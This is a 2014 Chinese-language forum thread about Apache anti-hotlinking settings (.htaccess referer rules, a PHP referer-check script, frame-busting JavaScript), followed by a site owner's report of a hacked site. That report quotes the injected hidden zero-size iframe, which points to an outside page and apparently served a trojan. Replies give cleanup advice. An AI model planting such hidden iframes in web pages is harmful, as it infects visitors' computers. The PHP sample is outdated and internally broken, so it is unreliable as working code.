woff 發表於 2014-2-7 20:07:41

防盜連及駭客iframe攻擊模式

原著:http://bbs.ecshop.tw/thread-593-1-1.html

一.網站防盜連
首先,防盜連只防君子不防小人,所以認真說還是有辦法被破解
                在 Apache 中可以用 .htaccess 來做一些簡單的安全性、認證相關的設定。
開啟 httpd.conf 後,將下面這行修改一下,再新啟動 Apache
AllowOverride None 改成 AllowOverride All

防盜連常見方法一
轉自PCZONE
那麼請在.htaccess檔案加入下面
(以下這樣設定代表:除了自己網站以及PCZONE網站,其他網站仍無法盜連你站內的資料)SetEnvIfNoCase Referer "^http://www\.pczone\.com\.tw/" local_ref=1
SetEnvIfNoCase Referer "^http://pczone\.com\.tw/" local_ref=1
SetEnvIfNoCase Referer "^http://自己網站/" local_ref=1
SetEnvIfNoCase Referer "^http://www\.google\.com/" local_ref=1
SetEnvIfNoCase Referer "^http://google\.com/" local_ref=1
<FilesMatch "\.(txt|doc|gif|jpg|mp3)"> 
Order Allow,Deny
Allow from env=local_ref
Allow from google.com
Allow from 127.0.0.1
Allow from 202.43.85.163 <-這個IP,是PCZONE網站的固定IP
</FilesMatch>另一改 httpd.conf 方法<Directory "C:/Apache2/htdocs/XXXXX">
SetEnvIfNoCase Referer "^http://www\.yahoo\.com\.tw" local_ref=1
<FilesMatch "\.(gif|jpg|wmv|wma|swf|rm|rmvb|mp3|mid|exe|zip)">
Order Allow,Deny
Allow from env=local_ref
Allow from 127.0.0.1
Allow from www.yahoo.com
Allow from www.yahoo.com.tw
</FilesMatch>
</Directory>讓 kuso.in/kuso/x.php 限制連 這個 php 不能直接連結.除了自己網站和yahoo
用 Location 來指出該檔案url 位置<Location /kuso/x.php>
order allow,deny
Allow from 127.0.0.1
Allow from www.yahoo.com
Allow from www.yahoo.com.tw
......
</Location>同理.封鎖特定的IP做這些設定<FilesMatch "\.x">
order deny,allow
allow from all
deny from 192.168.1
deny from 192.168.2.1
</FilesMatch>註
.htaccess 放的位置也會有差別,.htaccess 的作用範圍,只有放置該檔的目錄,以及其下的子目錄才會有作用。是目錄不是網址喔。如果其它的目錄已經有另外設定過權限的話,要檢查一下權限有沒有衝突。

下面是白話文-linux下 參考範例轉自
更改前 這個是帶 rewrite 的<VirtualHost *:80>
    DocumentRoot /home/www
    ServerName www.yourdomin.com
   <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^/supesite/(+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
    RewriteRule ^/supesite/(+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
    RewriteRule ^/supesite/(+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
    RewriteRule ^/supesite/(+)/(.*)$ /supesite/index.php?$1/$2
    RewriteRule ^/supesite/(+)$ /supesite/index.php?$1
    RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
    RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
    RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
    RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
    RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
    RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
</IfModule>
</VirtualHost>

改完後
<VirtualHost *:80>
    DocumentRoot /home/www
    ServerName www.yourdomin.com
    SetEnvIfNoCase Referer "^http://www.yourdomin.com" local_ref=1
    SetEnvIfNoCase Referer "^http://yourdomin.com" local_ref=1
   <FilesMatch "\.(txt|doc|mp3|zip|rar|jpg|gif)">
       Order Allow,Deny
       Allow from env=local_ref
   </FilesMatch>
   <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^/supesite/(+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
    RewriteRule ^/supesite/(+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
    RewriteRule ^/supesite/(+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
    RewriteRule ^/supesite/(+)/(.*)$ /supesite/index.php?$1/$2
    RewriteRule ^/supesite/(+)$ /supesite/index.php?$1
    RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
    RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
    RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
    RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
    RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
    RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
</IfModule>
</VirtualHost>防盜連常見方法補充 ~另一種防盜方法
這種我還沒試過.有試過的請發表一下
租空間的用戶,透過Apache的.htaccess來設置防盜連功能(anti hotlink),是最方便的RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://yblog.org/.*$
RewriteCond %{HTTP_REFERER} !^http://yblog.org$
RewriteCond %{HTTP_REFERER} !^http://www.yblog.org/.*$
RewriteCond %{HTTP_REFERER} !^http://www.yblog.org$
RewriteRule .*\.(jpg|gif|png|bmp|rar|zip|exe)$ /content/no_hotlink.jpeg 如果你想在自己的網站主機上也使用這樣的防盜連功能,生成一個.htaccess文件放到你欲限制的目錄(根目錄最好避免,在根目錄使用的. htaccess建議用作其它用途,欲限制的目錄下才放本文設定的防盜連方式)。在Windows平台上如果發現自己無法產生.htaccess文件,可 以用記事本或其它的文字編輯軟體,另存新檔時,檔名選擇.htaccess即可
RewriteCond可指定從哪些域名來連線是許可的
RewriteRule則指定哪些附檔名類型不能被盜連(hotlink),後面可指定連結到某個錯誤訊息頁面,或是一張圖片。
如果RewriteRule這一行設定成RewriteRule \.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ - ,則表示盜連的人,會看到403錯誤訊息,顯示禁止存取(403 Forbidden)。

防盜連的PHP代碼[轉自163.com]<?php

$ADMIN = "http://www.163.com/404.htm";//盜鏈返回的地址
$okaysites = array("http://www.163.com/","http://163.com"); //白名單
$ADMIN = "http://www.163.com/download/";//下載地點1
$ADMIN = "";//下載地點2,以此類推

$reffer = $HTTP_REFERER;
if($reffer) {
$yes = 0;
while(list($domain, $subarray) = each($okaysites)) {
if (ereg($subarray,"$reffer")) {
$yes = 1;
}
}
$theu = "url"."_"."$site";
if ($ADMIN[$theu] AND $yes == 1) {
header("Location: $ADMIN[$theu]/$file");
} else {
header("Location: $ADMIN");
}
} else {
header("Location: $ADMIN");
}

?>使用方法:將上述代碼保存為dao4.php,
比如測試用的validatecode.rar在站點http://163.com/download裡面,
則用以下代碼表示下載連接.
文件名?site=1&file=文件
EXP:
http://www.cndw.com/dao4.php?site=1&;file=validatecode.rar

防框架嵌入方法和源代碼 轉自<script type="text/javascript"><!--
if ( top.location !== self.location ) {
top.location=self.location;
}
//--></script>唯一的缺點是對禁用Javascript的瀏覽器無效,不管怎麼樣這是我看到的最好的解決辦法,在這裡強烈推薦!二.駭客攻擊(iframe)
先引用資安論壇網友:
這是我的網站,因為會員反應說有木馬程式,可是我和主機商一直找不出來,想請各位幫忙
會員幫我偵出來是Troian horse病毒。
昨天有會員反應被人植入木馬程式,檢看原始碼發現多了下面代碼<iframe src="
http://www.photosh.idv.tw/admin/board/_vti_cnf/index.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
找了一些index.htm和index.php不過都找不到這段原始碼,請問它應該是放在哪裡呢?
and再多問一個,會員向我反應後我一邊找網站檔案還是仍然找不到,一邊掃我電腦的毒不過我用了兩三個掃木馬的程式還是都掃不出來?我的網站目前被惡意放 進的程式(如上面的代碼)還沒移除,我還是一直在我的網站上東看西看,不知是程式掃不出來還是沒有中毒?請問這種情形上去的話一定會中毒嗎?因為我也沒有 安裝任何防毒軟體,只有掃毒軟體。
我剛剛下載了一個檢測伺服器木馬及惡意程式的safe程式,放在網站上執行,它說99%可以找出惡意程式,但我使用後還是都說正常....這種情形該怎麼辦呢?主機商叫我從資料庫搜尋相關字眼但也找不到~麻煩高手幫忙一下~~QQ"

請您先把資料庫的所以密碼用英數亂碼加大小寫編碼...把密碼先改過一次...然後去看是那一個論壇..使用的是那一個資料庫...搜尋 </iframe> .....就會找到你說的那些資料了..看到多少全都砍了...
通常不會只發生在你現在這個資料庫而已...還會在你主機的另外的資料庫上...
只要你的網站夠熱門...就有人會想破你的資料庫植入以上的內崁式木馬...只要到你的論壇後...他會自動連結到別的網站..就中標了.....我有幫一位朋友開一個論壇...他的密碼太過簡單而被破後...接著就所有的資料庫都被植入類似的木碼網站..

<iframe是html的內置框架,也就是會讀對方的程式進來,不過他的高跟寬都設為0所以看不見,我也遇到,除了寫html檔之外可能會寫入flash檔,感染html或是asp相關網頁的檔案..

解析iFrame攻擊手法 .請參考這裡一篇文章 計世網

可能影響 -Google搜尋你的網站出現「這個網站可能會損害你的電腦」
當遇上網路釣魚.惡意網站連結...等同時,還可能遇到 Google搜尋出現「這個網站可能會損害你的電腦」情況
以下解決方式請自行到R大 的慢條斯理的溫柔 去看 .雖然文中只提到遭到攻擊然後植入怪怪的連結.個人猜也許是iFrame攻擊手法 .不過也許不是.但是.遇到 Google搜尋出現「這個網站可能會損害你的電腦」這種情況 ..可ˇ以參考R大方式處理

CBC0428 發表於 2014-2-10 19:17:40

{:5_8:}囧!雷人!

kwai00108 發表於 2014-5-2 15:30:51

感謝版大 好帖要顶

迷你不版 發表於 2014-11-26 16:23:08



这是什么?
頁: [1]
查看完整版本: 防盜連及駭客iframe攻擊模式